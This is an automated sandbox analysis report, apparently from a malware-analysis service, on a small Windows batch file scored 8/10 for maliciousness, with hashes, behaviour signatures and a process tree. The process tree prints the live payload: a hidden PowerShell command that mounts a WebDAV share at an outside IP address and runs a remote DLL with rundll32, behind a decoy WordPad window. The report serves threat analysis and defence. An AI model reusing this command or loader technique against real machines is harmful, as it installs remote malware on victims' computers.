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14/07/2024, 02:46

240714-c9b92atepl 8

Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    14/07/2024, 02:46

General

  • Target

    14871121613120314923.bat

  • Size

    2KB

  • MD5

    0d08ba9e484cc158320153b3a1dc6e2d

  • SHA1

    5419129ee86013e62865985c62b62a4ef2626ec6

  • SHA256

    fc0b2dc495e57769f7e29ee3b71d3930b85a3ab0ad2a44c022501d2fa7101299

  • SHA512

    4e2be27781fee03bcc5daedf440a57755f0994927a21de30812892c5e701841df492d03f09869216206c0856c86c2268d8a3e338932f1bd1bd0860d8b00d0ebb

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\14871121613120314923.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:1956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\118.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1268
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2868
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\118.dll entry
          3⤵
            PID:2804

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1268-23-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

        Filesize

        2.9MB

      • memory/1268-24-0x0000000002690000-0x0000000002698000-memory.dmp

        Filesize

        32KB

      • memory/1728-17-0x0000000002460000-0x0000000002560000-memory.dmp

        Filesize

        1024KB

      • memory/1728-16-0x0000000002460000-0x0000000002560000-memory.dmp

        Filesize

        1024KB